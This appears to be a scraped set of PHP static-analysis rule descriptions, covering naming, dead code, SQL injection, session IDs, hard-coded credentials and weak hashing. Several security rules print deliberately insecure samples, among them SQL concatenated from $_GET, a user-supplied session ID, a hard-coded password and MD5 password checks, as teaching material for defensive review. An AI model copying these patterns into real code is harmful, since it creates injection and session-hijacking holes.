function __destruct(){...}

/**
 * {@inheritdoc}
 */
function myFunc(){...}
php:S101

Shared coding conventions allow teams to collaborate effectively. This rule allows to check that all class names match a provided regular expression.

Noncompliant Code Example

With default provided regular expression ^[A-Z][a-zA-Z0-9]*$:

class my_class {...}

Compliant Solution

class MyClass {...}
php:S5328

If a session ID can be guessed (not generated with a secure pseudo random generator, or with insufficient length ...) an attacker may be able to hijack another user's session.

Ask Yourself Whether

  • the session ID is not unique.
  • the session ID is set from a user-controlled input.
  • the session ID is generated with not secure pseudo random generator.
  • the session ID length is too short.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Don't manually generate session IDs, use instead language based native functionality.

Sensitive Code Example

session_id(bin2hex(random_bytes(4))); // Sensitive: 4 bytes is too short
session_id($_POST["session_id"]); // Sensitive: session ID can be specified by the user

Compliant Solution

session_regenerate_id(); ; // Compliant
session_id(bin2hex(random_bytes(16))); // Compliant

See

php:S1763

Some statements (return, break, continue, goto, switch) and throw expressions move control flow out of the current code block. So any unlabeled statements that come after such a jump are unreachable, and either this dead code should be removed, or the logic should be corrected.

Noncompliant Code Example

function fun($a) {
  $i = 10;
  return $i + $a;
  $i++;             // dead code
}

Compliant Solution

function fun($a) {
  $i = 10;
  return $i + $a;
}

See

php:S1764

Using the same value on either side of a binary operator is almost always a mistake. In the case of logical operators, it is either a copy/paste error and therefore a bug, or it is simply wasted code, and should be simplified. In the case of bitwise operators and most binary mathematical operators, having the same value on both sides of an operator yields predictable results, and should be simplified.

Noncompliant Code Example

if ( $a == $a ) { // always true
  doZ();
}
if ( $a != $a ) { // always false
  doY();
}
if ( $a == $b && $a == $b ) { // if the first one is true, the second one is too
  doX();
}
if ( $a == $b || $a == $b ) { // if the first one is true, the second one is too
  doW();
}

$j = 5 / 5; //always 1
$k = 5 - 5; //always 0

Exceptions

Left-shifting 1 onto 1 is common in the construction of bit masks, and is ignored.

$i = 1 << 1; // Compliant
$j = $a << $a; // Noncompliant

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
  • S1656 - Implements a check on =.
php:S1192

Duplicated string literals make the process of refactoring error-prone, since you must be sure to update all occurrences.

On the other hand, constants can be referenced from many places, but only need to be updated in a single place.

Noncompliant Code Example

With the default threshold of 3:

function run() {
  prepare('this is a duplicate'); // Non-Compliant - 'this is a duplicate' is duplicated 3 times
  execute('this is a duplicate');
  release('this is a duplicate');
}

Compliant Solution

MESSAGE = 'this is a duplicate';

function run() {
  prepare(MESSAGE);
  execute(MESSAGE);
  release(MESSAGE);
}

Exceptions

No issue will be raised on:

* strings with less than 5 characters

* strings with only letters, numbers, underscores and hyphens

$severity = $request->getParam('severity-score');{code}
php:S2042

A class that grows too much tends to aggregate too many responsibilities, and inevitably becomes harder to understand and to maintain. Above a specific threshold, it is strongly advised to refactor the class into smaller ones which focus on well-defined topics.

php:S2041

echo can be called with or without parentheses, but it is best practice to leave parentheses off the call because using parentheses with multiple arguments will result in a parse error.

Noncompliant Code Example

echo("Hello");  // Noncompliant, but it works
echo("Hello", "World"); // Noncompliant. Parse error

Compliant Solution

echo "Hello";
echo "Hello","World!";
php:S1996

A file that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. This is doubly true for a file with multiple top-level classes and interfaces. It is strongly advised to divide the file into one top-level class or interface per file.

php:S1997

Shared coding conventions allow teams to collaborate efficiently. To avoid the confusion that can be caused by tangling two coding languages in the same file, inline HTML should be avoided.

Noncompliant Code Example

<?php
$name = "George";
?>
<p> Hello <?php echo $name ?>!</p>

Exceptions

File having the extension .phtml are ignored by this rule because they are expected to have mixed PHP and HTML.

php:S2964

sleep is sometimes used in a mistaken attempt to prevent Denial of Service (DoS) attacks by throttling response rate. But because it ties up a thread, each request takes longer to serve that it otherwise would, making the application more vulnerable to DoS attacks, rather than less.

Noncompliant Code Example

if (is_bad_ip($requester)) {
  sleep(5);  // Noncompliant
}

See

Deprecated

This rule is deprecated, and will eventually be removed.

php:S1998

Passing a reference to a function parameter means that any modifications the method makes to the parameter will be made to the original value as well, since references have the effect of pointing two variables at the same memory space. This feature can be difficult to use correctly, particularly if the callee is not expecting a reference, and the improper use of references in function calls can make code less efficient rather than more efficient.

Further, according to the PHP manual:

As of PHP 5.3.0, you will get a warning saying that "call-time pass-by-reference" is deprecated... And as of PHP 5.4.0, call-time pass-by-reference was removed, so using it will raise a fatal error.

Noncompliant Code Example

myfun(&$name);  // Noncompliant

Compliant Solution

myfun($name);

See

  • MITRE, CWE-374 - Weakness Base Passing Mutable Objects to an Untrusted Method
php:S1757

Coding conventions allow teams to collaborate effectively. For maximum standardization and readability, PHP code should use the long <?php ?> tags or the short-echo <?= ?> tags; it should not use the other tag variations.

Noncompliant Code Example

<?
$foo = 1;
?>

Compliant Solution

<?php
$foo = 1;
?>
php:S1075

Hard coding a URI makes it difficult to test a program: path literals are not always portable across operating systems, a given absolute path may not exist on a specific test environment, a specified Internet URL may not be available when executing the tests, production environment filesystems usually differ from the development environment, ...etc. For all those reasons, a URI should never be hard coded. Instead, it should be replaced by customizable parameter.

Further even if the elements of a URI are obtained dynamically, portability can still be limited if the path-delimiters are hard-coded.

This rule raises an issue when URI's or path delimiters are hard coded.

See

php:S2044

Both php_sapi_name() and the PHP_SAPI constant give the same value. But calling the method is less efficient that simply referencing the constant.

Noncompliant Code Example

if (php_sapi_name() == 'test') { ... }

Compliant Solution

if (PHP_SAPI == 'test') { ... }
php:S3011

This rule raises an issue when reflection is used to change the visibility of a class, method or field, and when it is used to directly update a field value. Altering or bypassing the accessibility of classes, methods, or fields violates the encapsulation principle and could lead to run-time errors.

Noncompliant Code Example

class MyClass
{
    public static $publicstatic = 'Static';
    private static $privatestatic = 'private Static';
    private $private = 'Private';
    private const CONST_PRIVATE = 'Private CONST';
    public $myfield = 42;

    private function __construct() {}
    private function privateMethod() {}
    public function __set($property, $value)  {}
    public function __get($property) {}
}

$clazz = new ReflectionClass('MyClass');

$clazz->getstaticProperties(); // Noncompliant . This gives access to private static properties

$clazz->setStaticPropertyValue('publicstatic', '42'); // OK as there is no overloading to bypass and it respects access control.
$clazz->getStaticPropertyValue('publicstatic'); // OK as there is no overloading to bypass and it respects access control.

// The following calls can access private or protected constants.
$clazz->getConstant('CONST_PRIVATE'); // Noncompliant.
$clazz->getConstants(); // Noncompliant.
$clazz->getReflectionConstant('CONST_PRIVATE'); // Noncompliant.
$clazz->getReflectionConstants(); // Noncompliant.

$obj = $clazz->newInstanceWithoutConstructor(); // Noncompliant. Bypassing private constructor.

$constructor = $clazz->getConstructor();
$constructorClosure = $constructor->getClosure($obj); // Noncompliant. It is possible to call private methods with closures.
$constructor->setAccessible(true); // Noncompliant. Bypassing constructor accessibility.

$prop = new ReflectionProperty('MyClass', 'private');
$prop->setAccessible(true); // Noncompliant. Change accessibility of a property.
$prop->setValue($obj, "newValue"); // Noncompliant. Bypass of the __set method.
$prop->getValue($obj); // Noncompliant. Bypass of the __get method.

$prop2 = $clazz->getProperties()[2];
$prop2->setAccessible(true); // Noncompliant. Change accessibility of a property.
$prop2->setValue($obj, "newValue"); // Noncompliant. Bypass of the __set method.
$prop2->getValue($obj); // Noncompliant. Bypass of the __get method.

$meth = new ReflectionMethod('MyClass', 'privateMethod');
$clos = $meth->getClosure($obj); // Noncompliant. It is possible to call private methods with closures.
$meth->setAccessible(true); // Noncompliant. Change accessibility of a method.

$meth2 = $clazz->getMethods()[0];
$clos2 = $meth2->getClosure($obj); // Noncompliant. It is possible to call private methods with closures.
$meth2->setAccessible(true); // Noncompliant. Change accessibility of a method.

// Using a ReflectionObject instead of the class

$objr = new ReflectionObject($obj);
$objr->newInstanceWithoutConstructor(); // Noncompliant. Bypassing private constructor.

$objr->getStaticPropertyValue("publicstatic"); // OK as there is no overloading to bypass and it respects access control.
$objr->setStaticPropertyValue("publicstatic", "newValue"); // OK as there is no overloading to bypass and it respects access control.

$objr->getStaticProperties(); // Noncompliant. This gives access to private static properties

// The following calls can access private or protected constants.
$objr->getConstant('CONST_PRIVATE'); // Noncompliant.
$objr->getConstants(); // Noncompliant.
$objr->getReflectionConstant('CONST_PRIVATE'); // Noncompliant.
$objr->getReflectionConstants(); // Noncompliant.

$constructor = $objr->getConstructor();
$constructorClosure = $constructor->getClosure($obj); // Noncompliant. It is possible to call private methods with closures.
$constructor->setAccessible(true); // Noncompliant. Bypassing constructor accessibility.

$prop3 = $objr->getProperty('private');
$prop3->setAccessible(true); // Noncompliant. Change accessibility of a property.
$prop3->setValue($obj, "newValue"); // Noncompliant. Bypass of the __set method.
$prop3->getValue($obj); // Noncompliant. Bypass of the __get method.

$prop4 = $objr->getProperties()[2];
$prop4->setAccessible(true); // Noncompliant. Change accessibility of a property.
$prop4->setValue($obj, "newValue"); // Noncompliant. Bypass of the __set method.
$prop4->getValue($obj); // Noncompliant. Bypass of the __get method.

$meth3 = $objr->getMethod('privateMethod');
$clos3 = $meth3->getClosure($obj); // Noncompliant. It is possible to call private methods with closures.
$meth3->setAccessible(true); // Noncompliant. Change accessibility of a method.

$meth4 = $objr->getMethods()[0];
$clos4 = $meth4->getClosure($obj); // Noncompliant. It is possible to call private methods with closures.
$meth4->setAccessible(true); // Noncompliant. Change accessibility of a method.

See

  • CERT, SEC05-J. - Do not use reflection to increase accessibility of classes, methods, or fields
php:S2043

Superglobal variables are predefined variables available in all scopes throughout a script. However, accessing them directly is considered bad practice. Instead, they should be accessed through an object or framework that handles sanitation and validation.

Noncompliant Code Example

$name = $_POST['name'];

Compliant Solution

$name = $this->params()->fromPost('name');
php:S2046

Shared coding conventions allow teams to collaborate effectively. This rule flags all Perl-style comments.

Noncompliant Code Example

$myvar; # Noncompliant; this comment should have started with "//"

Compliant Solution

$myvar; // Compliant; this comment started with "//"
php:S1990

There is no need to use the final modifier inside a final class. Everything in it is final by default.

Noncompliant Code Example

final class MyClass {

  public final String getName() {  // Noncompliant
    return name;
  }
}

Compliant Solution

final class MyClass {

  public String getName() {  // Compliant
    return name;
  }
}
php:S2166

Clear, communicative naming is important in code. It helps maintainers and API users understand the intentions for and uses of a unit of code. Using "exception" in the name of a class that does not extend Exception or one of its subclasses is a clear violation of the expectation that a class' name will indicate what it is and/or does.

Noncompliant Code Example

class FruitException {  // Noncompliant; this has nothing to do with Exception
  private $expected;
  private $unusualCharacteristics;
  private $appropriateForCommercialExploitation;
  // ...
}

class CarException {  // Noncompliant; the extends clause was forgotten?
  public function __construct(string message, Throwable cause) {
  // ...

Compliant Solution

class FruitSport {
  private $expected;
  private $unusualCharacteristics;
  private $appropriateForCommercialExploitation;
  // ...
}

class CarException extends Exception {
  public function __construct(string message, Throwable cause) {
  // ...
php:S1871

Having two cases in a switch statement or two branches in an if chain with the same implementation is at best duplicate code, and at worst a coding error. If the same logic is truly needed for both instances, then in an if chain they should be combined, or for a switch, one should fall through to the other.

Noncompliant Code Example

switch ($i) {
  case 1:
    doFirst();
    doSomething();
    break;
  case 2:
    doSomethingDifferent();
    break;
  case 3:  // Noncompliant; duplicates case 1's implementation
    doFirst();
    doSomething();
    break;
  default:
    doTheRest();
}

if ($a >= 0 && $a < 10) {
  doFirst();
  doTheThing();
}
else if ($a >= 10 && $a < 20) {
  doTheOtherThing();
}
else if ($a >= 20 && $a < 50) {
  doFirst();
  doTheThing();  // Noncompliant; duplicates first condition
}

Exceptions

Blocks in an if chain that contain a single line of code are ignored, as are blocks in a switch statement that contain a single line of code with or without a following break.

if ($a >= 0 && $a < 10) {
  doTheThing();
}
else if ($a >= 10 && $a < 20) {
  doTheOtherThing();
}
else if ($a >= 20 && $a < 50) {
  doTheThing();  // no issue, usually this is done on purpose to increase the readability
}

But this exception does not apply to if chains without else-s, or to switch-es without default clauses when all branches have the same single line of code. In case of if chains with else-s, or of switch-es with default clauses, rule S3923 raises a bug.

if ($a >= 0 && $a < 10) {
  doTheThing();
}
else if ($a >= 20 && $a < 50) {
  doTheThing();   //Noncompliant; this might have been done on purpose but probably not
}
php:S1751

A loop with at most one iteration is equivalent to the use of an if statement to conditionally execute one piece of code. No developer expects to find such a use of a loop statement. If the initial intention of the author was really to conditionally execute one piece of code, an if statement should be used instead.

At worst that was not the initial intention of the author and so the body of the loop should be fixed to use the nested return, break or throw statements in a more appropriate way.

Noncompliant Code Example

for ($i = 0; $i < 10; $i++) { // Noncompliant
  echo "i is $i";
  break;
}
...
for ($i = 0; $i < 10; $i++) { // Noncompliant
  if ($i == $x) {
    break;
  } else {
    echo "i is $i";
    return;
  }
}

Compliant Solution

for ($i = 0; $i < 10; $i++) {
  echo "i is $i";
}
...
for ($i = 0; $i < 10; $i++) {
  if ($i == $x) {
    break;
  } else {
    echo "i is $i";
  }
}
php:S2047

Well-named functions can allow the users of your code to understand at a glance what to expect from the function - even before reading the documentation. Toward that end, methods returning a boolean property should have names that start with "is" or "has" rather than with "get".

Note that this rule will only apply to functions that are documented to return a boolean.

Noncompliant Code Example

/**
 * @return boolean
 */
public function getFoo() // Noncompliant
{
  return foo;
}

Compliant Solution

/**
 * @return boolean
 */
public function isFoo()
{
  return true;
}
php:S117

Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when a local variable or function parameter name does not match the provided regular expression.

Noncompliant Code Example

With the default regular expression ^[a-z][a-zA-Z0-9]*$:

public function doSomething($my_param){
  $LOCAL;
  ...
}

Compliant Solution

public function doSomething($myParam){
  $local;
  ...
}
php:S2070

The MD5 algorithm and its successor, SHA-1, are no longer considered secure, because it is too easy to create hash collisions with them. That is, it takes too little computational effort to come up with a different input that produces the same MD5 or SHA-1 hash, and using the new, same-hash value gives an attacker the same access as if he had the originally-hashed value. This applies as well to the other Message-Digest algorithms: MD2, MD4, MD6, HAVAL-128, HMAC-MD5, DSA (which uses SHA-1), RIPEMD, RIPEMD-128, RIPEMD-160, HMACRIPEMD160.

Consider using safer alternatives, such as SHA-256, SHA-512 or SHA-3.

Noncompliant Code Example

$password = ...

if (md5($password) === '1f3870be274f6c49b3e31a0c6728957f') { // Noncompliant; md5() hashing algorithm is not secure for password management
   [...]
}

if (sha1($password) === 'd0be2dc421be4fcd0172e5afceea3970e2f3d940') { // Noncompliant; sha1() hashing algorithm is not secure for password management
   [...]
}

See

Deprecated

This rule is deprecated; use S4790 instead.

php:S115

Shared coding conventions allow teams to collaborate efficiently. This rule checks that all constant names match a provided regular expression.

Noncompliant Code Example

With the default regular expression ^[A-Z][A-Z0-9]*(_[A-Z0-9]+)*$:

define("const1", true);

class Foo {
    const const2 = "bar";
}

Compliant Solution

define("CONST1", true);

class Foo {
    const CONST2 = "bar";
}
php:S116

Sharing some naming conventions is a key point to make it possible for a team to efficiently collaborate. This rule allows to check that field names match a provided regular expression.

Noncompliant Code Example

With the default regular expression ^[a-z][a-zA-Z0-9]*$:

class MyClass {
  $my_field;
}

Compliant Solution

class MyClass {
  $myField;
}
php:S113

Some tools work better when files end with an empty line.

This rule simply generates an issue if it is missing.

For example, a Git diff looks like this if the empty line is missing at the end of the file:

+class Test {
+}
\ No newline at end of file
php:S114

Sharing some naming conventions is a key point to make it possible for a team to efficiently collaborate. This rule allows to check that all interface names match a provided regular expression.

Noncompliant Code Example

With the default regular expression ^[A-Z][a-zA-Z0-9]*$:

interface myInterface {...} // Noncompliant

Compliant Solution

interface MyInterface {...}
php:S1788

The ability to define default values for method arguments can make a method easier to use. Default argument values allow callers to specify as many or as few arguments as they want while getting the same functionality and minimizing boilerplate, wrapper code.

But all method arguments with default values should be declared after the method arguments without default values. Otherwise, it makes it impossible for callers to take advantage of defaults; they must re-specify the defaulted values in order to "get to" the non-default arguments.

Noncompliant Code Example

function makeyogurt($type = "acidophilus", $flavor){...}  // Noncompliant

makeyogurt("raspberry")}}  // Runtime error: Missing argument 2 in call to makeyogurt()

Compliant Solution

function makeyogurt($flavor, $type = "acidophilus", ){...}

makeyogurt("raspberry")}} // Works as expected
php:S2757

The use of operators pairs ( =+, =- or =! ) where the reversed, single operator was meant (+=, -= or !=) will compile and run, but not produce the expected results.

This rule raises an issue when =+, =-, or =! is used without any spacing between the two operators and when there is at least one whitespace character after.

Noncompliant Code Example

$target = -5;
$num = 3;

$target =- $num;  // Noncompliant; target = -3. Is that really what's meant?
$target =+ $num; // Noncompliant; target = 3

Compliant Solution

$target = -5;
$num = 3;

$target = -$num;  // Compliant; intent to assign inverse value of num is clear
$target += $num;
php:S4818

Using sockets is security-sensitive. It has led in the past to the following vulnerabilities:

Sockets are vulnerable in multiple ways:

  • They enable a software to interact with the outside world. As this world is full of attackers it is necessary to check that they cannot receive sensitive information or inject dangerous input.
  • The number of sockets is limited and can be exhausted. Which makes the application unresponsive to users who need additional sockets.

This rules flags code that creates sockets. It matches only the direct use of sockets, not use through frameworks or high-level APIs such as the use of http connections.

Ask Yourself Whether

  • sockets are created without any limit every time a user performs an action.
  • input received from sockets is used without being sanitized.
  • sensitive data is sent via sockets without being encrypted.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • In many cases there is no need to open a socket yourself. Use instead libraries and existing protocols.
  • Encrypt all data sent if it is sensitive. Usually it is better to encrypt it even if the data is not sensitive as it might change later.
  • Sanitize any input read from the socket.
  • Limit the number of sockets a given user can create. Close the sockets as soon as possible.

Sensitive Code Example

function handle_sockets($domain, $type, $protocol, $port, $backlog, $addr, $hostname, $local_socket, $remote_socket, $fd) {
    socket_create($domain, $type, $protocol); // Sensitive
    socket_create_listen($port, $backlog); // Sensitive
    socket_addrinfo_bind($addr); // Sensitive
    socket_addrinfo_connect($addr); // Sensitive
    socket_create_pair($domain, $type, $protocol, $fd);

    fsockopen($hostname); // Sensitive
    pfsockopen($hostname); // Sensitive
    stream_socket_server($local_socket); // Sensitive
    stream_socket_client($remote_socket); // Sensitive
    stream_socket_pair($domain, $type, $protocol); // Sensitive
}

See

Deprecated

This rule is deprecated, and will eventually be removed.

php:S122

For better readability, do not put more than one statement on a single line.

Noncompliant Code Example

if(someCondition) doSomething();

Compliant Solution

if(someCondition) {
  doSomething();
}

Exceptions

Anonymous functions containing a single statement are ignored.

$max_comparator = function ($v) { return $v > 2; };           // Compliant
$max_comparator = function ($v) { echo $v; return $v > 2; };  // Noncompliant
php:S2077

Formatting strings used as SQL queries is security-sensitive. It has led in the past to the following vulnerabilities:

SQL queries often need to use a hardcoded SQL string with a dynamic parameter coming from a user request. Formatting a string to add those parameters to the request is a bad practice as it can result in an SQL injection. The safe way to add parameters to a SQL query is to use SQL binding mechanisms.

This rule flags the execution of SQL queries which are built using formatting of strings, even if there is no injection. This rule does not detect SQL injections. The goal is to guide security code reviews and to prevent a common bad practice.

The following functions are detected as SQL query execution:

  • mysql_query
  • mysql_db_query
  • mysql_unbuffered_query
  • pg_query
  • pg_send_query
  • mssql_query
  • mysqli_query and mysqli::query
  • mysqli_real_query and mysqli::real_query
  • mysqli_multi_query and mysqli::multi_query
  • mysqli_send_query and mysqli::send_query
  • PDO::query
  • PDO::exec
  • PDO::prepare

Ask Yourself Whether

  • the SQL query is built using string formatting technics, such as concatenating variables.
  • some of the values are coming from an untrusted source and are not sanitized.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Avoid building queries manually using formatting technics. If you do it anyway, do not include user input in this building process.
  • Use parameterized queries, prepared statements, or stored procedures whenever possible.
  • PHP Data Objects (PDO) prepared statement with bound parameters should be preferred to native database functions.
  • Avoid executing SQL queries containing unsafe input in stored procedures or functions.
  • Sanitize every unsafe input.

You can also reduce the impact of an attack by using a database account with low privileges.

Sensitive Code Example

$id = $_GET['id'];
mysql_connect('localhost', $username, $password) or die('Could not connect: ' . mysql_error());
mysql_select_db('myDatabase') or die('Could not select database');

$result = mysql_query("SELECT * FROM myTable WHERE id = " . $id);  // Sensitive, could be susceptible to SQL injection

while ($row = mysql_fetch_object($result)) {
    echo $row->name;
}

Compliant Solution

$id = $_GET['id'];
try {
    $conn = new PDO('mysql:host=localhost;dbname=myDatabase', $username, $password);
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

    $stmt = $conn->prepare('SELECT * FROM myTable WHERE id = :id');
    $stmt->execute(array('id' => $id));

    while($row = $stmt->fetch(PDO::FETCH_OBJ)) {
        echo $row->name;
    }
} catch(PDOException $e) {
    echo 'ERROR: ' . $e->getMessage();
}

Exceptions

No issue will be raised if one of the functions is called with hard-coded string (no concatenation) and this string does not contain a "$" sign.

$result = mysql_query("SELECT * FROM myTable WHERE id = 42") or die('Query failed: ' . mysql_error());  // Compliant

The current implementation does not follow variables. It will only detect SQL queries which are concatenated or contain a $ sign directly in the function call.

$query = "SELECT * FROM myTable WHERE id = " . $id;
$result = mysql_query($query);  // No issue will be raised even if it is Sensitive

See

php:S1780

According to the PSR2 coding standard:

The closing ?> tag should be omitted from files containing only PHP.

According to the PHP manual:

in some cases omitting it is helpful when using include or require, so unwanted whitespace will not occur at the end of files, and you will still be able to add headers to the response later. It is also handy if you use output buffering, and would not like to see added unwanted whitespace at the end of the parts generated by the included files.

php:S1781

Using indifferently lower or upper case for PHP keywords and constants "true", "false" and "null" can impact the readability of PHP source code.

Noncompliant Code Example

<?php ECHO 'Hello World'; ?>

Compliant Solution

<?php echo 'Hello World'; ?>
php:S121

While not technically incorrect, the omission of curly braces can be misleading, and may lead to the introduction of errors during maintenance.

Noncompliant Code Example

if (condition)  // Noncompliant
  executeSomething();

Compliant Solution

if (condition) {
  executeSomething();
}

See

  • CERT, EXP19-C. - Use braces for the body of an if, for, or while statement
  • CERT, EXP52-J. - Use braces for the body of an if, for, or while statement
php:S1541

The Cyclomatic Complexity of functions should not exceed a defined threshold. Complex code may perform poorly and can be difficult to test thoroughly.

php:S1784

Class methods may be defined as public, private, or protected. Methods declared without any explicit visibility keyword are defined as public. To prevent any misunderstanding, this visibility should always be explicitly declared.

Noncompliant Code Example

function foo(){...}

Compliant Solution

public function foo(){...}
php:S1301

switch statements are useful when there are many different cases depending on the value of the same expression.

For just one or two cases however, the code will be more readable with if statements.

Noncompliant Code Example

switch ($variable) {
  case 0:
    do_something();
    break;
  default:
    do_something_else();
    break;
}

Compliant Solution

if ($variable == 0) {
  do_something();
} else {
  do_something_else();
}
php:S108

Most of the time a block of code is empty when a piece of code is really missing. So such empty block must be either filled or removed.

Noncompliant Code Example

for ($i = 0; $i < 42; $i++){}  // Empty on purpose or missing piece of code ?

Exceptions

When a block contains a comment, this block is not considered to be empty.

php:S107

A long parameter list can indicate that a new structure should be created to wrap the numerous parameters or that the function is doing too many things.

Noncompliant Code Example

With a maximum number of 4 parameters:

function doSomething($param1, $param2, $param3, $param4, $param5) {
...
}

Compliant Solution

function doSomething($param1, $param2, $param3, $param4) {
...
}
php:S104

A source file that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor it into smaller pieces of code which focus on well defined tasks. Those smaller files will not only be easier to understand but also probably easier to test.

php:S105

Developers should not need to configure the tab width of their text editors in order to be able to read source code.

So the use of the tabulation character must be banned.

php:S103

Having to scroll horizontally makes it harder to get a quick overview and understanding of any piece of code.

php:S907

goto is an unstructured control flow statement. It makes code less readable and maintainable. Structured control flow statements such as if, for, while, continue or break should be used instead.

Noncompliant Code Example

$i = 0;
loop:
  echo("i = $i");
  $i++;
  if ($i < 10){
    goto loop;
  }

Compliant Solution

for ($i = 0; $i < 10; $i++){
  echo("i = $i");
}
php:S905

Any statement (other than a null statement, which means a statement containing only a semicolon ;) which has no side effect and does not result in a change of control flow will normally indicate a programming error, and therefore should be refactored.

Noncompliant Code Example

$a == 1; // Noncompliant; was assignment intended?
$a < $b; // Noncompliant; have we forgotten to assign the result to a variable?

See

php:S1656

There is no reason to re-assign a variable to itself. Either this statement is redundant and should be removed, or the re-assignment is a mistake and some other value or variable was intended for the assignment instead.

Noncompliant Code Example

public function setName($name) {
    $name = $name;
}

Compliant Solution

public function setName($name) {
    $this->name = $name;
}

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
php:S1779

All developers should use the same end-line character(s) to prevent polluting the history changelog of source files in the SCM engine. Moreover some SCM engines like Git might sometimes badly support use of Windows 'CRLF' end of line characters.

php:S2187

There's no point in having a PHPUnit test case without any test methods. Similarly, you shouldn't have a file in the tests directory which extends PHPUnit\Framework\TestCase but no tests in the file. Doing either of these things may lead someone to think that uncovered classes have been tested. Add some test method or make the class abstract if it is used by a real test case class.

Noncompliant Code Example

use PHPUnit\Framework\TestCase;

class MyTest extends TestCase {

  protected function setUp() {
    doSomethind();
  }


  private function doSomethind() {
    //...
  }
}

Compliant Solution

use PHPUnit\Framework\TestCase;

class MyTest extends TestCase {

  public function testBehaviour() {
   //...
  }

  //...
} 

// or

abstract class MyAbstractTest extends TestCase {

 protected function setUp() {
   doSomethind();
 }


 private function doSomethind() {
   //...
 }
}
php:S112

If you throw a general exception type, such as ErrorException, RuntimeException, or Exception in a library or framework, it forces consumers to catch all exceptions, including unknown exceptions that they do not know how to handle.

Instead, either throw a subtype that already exists in the Standard PHP Library, or create your own type that derives from Exception.

Noncompliant Code Example

throw new Exception();  // Noncompliant

Compliant Solution

throw new InvalidArgumentException();
// or
throw new UnexpectedValueException();

See

php:S2068

Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source.

In the past, it has led to the following vulnerabilities:

Credentials should be stored outside of the code in a configuration file, a database or secret management service.

This rule flags instances of hard-coded credentials used in database and LDAP connections. It looks for hard-coded credentials in connection strings, and for variable names that match any of the patterns from the provided list.

It's recommended to customize the configuration of this rule with additional credential words such as "oauthToken", "secret", ...

Ask Yourself Whether

  • Credentials allows access to a sensitive component like a database, a file storage, an API or a service.
  • Credentials are used in production environments.
  • Application re-distribution is required before updating the credentials.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Store the credentials in a configuration file that is not pushed to the code repository.
  • Store the credentials in a database.
  • Use the secret management service of you cloud provider.
  • If the a password has been disclosed through the source code: change it.

Sensitive Code Example

$password = "65DBGgwe4uazdWQA"; // Sensitive

$httpUrl = "https://example.domain?user=user&password=65DBGgwe4uazdWQA" // Sensitive
$sshUrl = "ssh://user:65DBGgwe4uazdWQA@example.domain" // Sensitive

Compliant Solution

$user = getUser();
$password = getPassword(); // Compliant

$httpUrl = "https://example.domain?user=$user&password=$password" // Compliant
$sshUrl = "ssh://$user:$password@example.domain" // Compliant

See

php:S110

Inheritance is certainly one of the most valuable concepts in object-oriented programming. It's a way to compartmentalize and reuse code by creating collections of attributes and behaviors called classes which can be based on previously created classes. But abusing this concept by creating a deep inheritance tree can lead to very complex and unmaintainable source code. Most of the time a too deep inheritance tree is due to bad object oriented design which has led to systematically use 'inheritance' when for instance 'composition' would suit better.

This rule raises an issue when the inheritance tree, starting from Object has a greater depth than is allowed.

php:S139

This rule verifies that single-line comments are not located at the ends of lines of code. The main idea behind this rule is that in order to be really readable, trailing comments would have to be properly written and formatted (correct alignment, no interference with the visual structure of the code, not too long to be visible) but most often, automatic code formatters would not handle this correctly: the code would end up less readable. Comments are far better placed on the previous empty line of code, where they will always be visible and properly formatted.

Noncompliant Code Example

$a = $b + $c; // This is a trailing comment that can be very very long

Compliant Solution

// This very long comment is better placed before the line of code
$a = $b + $c;
php:S930

Calling a function or a method with fewer or more arguments than expected will raise a TypeError. This is usually a bug and should be fixed.

Provide missing arguments to the call, or define default values if there are fewer arguments.

Reduce the number of arguments provided by the function call, or add more parameter if there are more arguments than expected.

Noncompliant Code Example

function myFunction($a, $b, $c = null) {
  //...
}

myFunction($a); // Noncompliant - 2 arguments are required

Exceptions

No issue is reported when arguments are used in the body of the function being called.

function myFunction() {
  $arg_list = func_get_args();
  //...
}

myFunction($a, $b);

See

  • MISRA C:2004, 16.6 - The number of arguments passed to a function shall match the number of parameters.
  • MITRE, CWE-628 - Function Call with Incorrectly Specified Arguments
  • CERT, DCL07-C. - Include the appropriate type information in function declarators
  • CERT, EXP37-C. - Call functions with the correct number and type of arguments
php:S4792

Configuring loggers is security-sensitive. It has led in the past to the following vulnerabilities:

Logs are useful before, during and after a security incident.

  • Attackers will most of the time start their nefarious work by probing the system for vulnerabilities. Monitoring this activity and stopping it is the first step to prevent an attack from ever happening.
  • In case of a successful attack, logs should contain enough information to understand what damage an attacker may have inflicted.

Logs are also a target for attackers because they might contain sensitive information. Configuring loggers has an impact on the type of information logged and how they are logged.

This rule flags for review code that initiates loggers configuration. The goal is to guide security code reviews.

Ask Yourself Whether

  • unauthorized users might have access to the logs, either because they are stored in an insecure location or because the application gives access to them.
  • the logs contain sensitive information on a production server. This can happen when the logger is in debug mode.
  • the log can grow without limit. This can happen when additional information is written into logs every time a user performs an action and the user can perform the action as many times as he/she wants.
  • the logs do not contain enough information to understand the damage an attacker might have inflicted. The loggers mode (info, warn, error) might filter out important information. They might not print contextual information like the precise time of events or the server hostname.
  • the logs are only stored locally instead of being backuped or replicated.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Check that your production deployment doesn't have its loggers in "debug" mode as it might write sensitive information in logs.
  • Production logs should be stored in a secure location which is only accessible to system administrators.
  • Configure the loggers to display all warnings, info and error messages. Write relevant information such as the precise time of events and the hostname.
  • Choose log format which is easy to parse and process automatically. It is important to process logs rapidly in case of an attack so that the impact is known and limited.
  • Check that the permissions of the log files are correct. If you index the logs in some other service, make sure that the transfer and the service are secure too.
  • Add limits to the size of the logs and make sure that no user can fill the disk with logs. This can happen even when the user does not control the logged information. An attacker could just repeat a logged action many times.

Remember that configuring loggers properly doesn't make them bullet-proof. Here is a list of recommendations explaining on how to use your logs:

  • Don't log any sensitive information. This obviously includes passwords and credit card numbers but also any personal information such as user names, locations, etc... Usually any information which is protected by law is good candidate for removal.
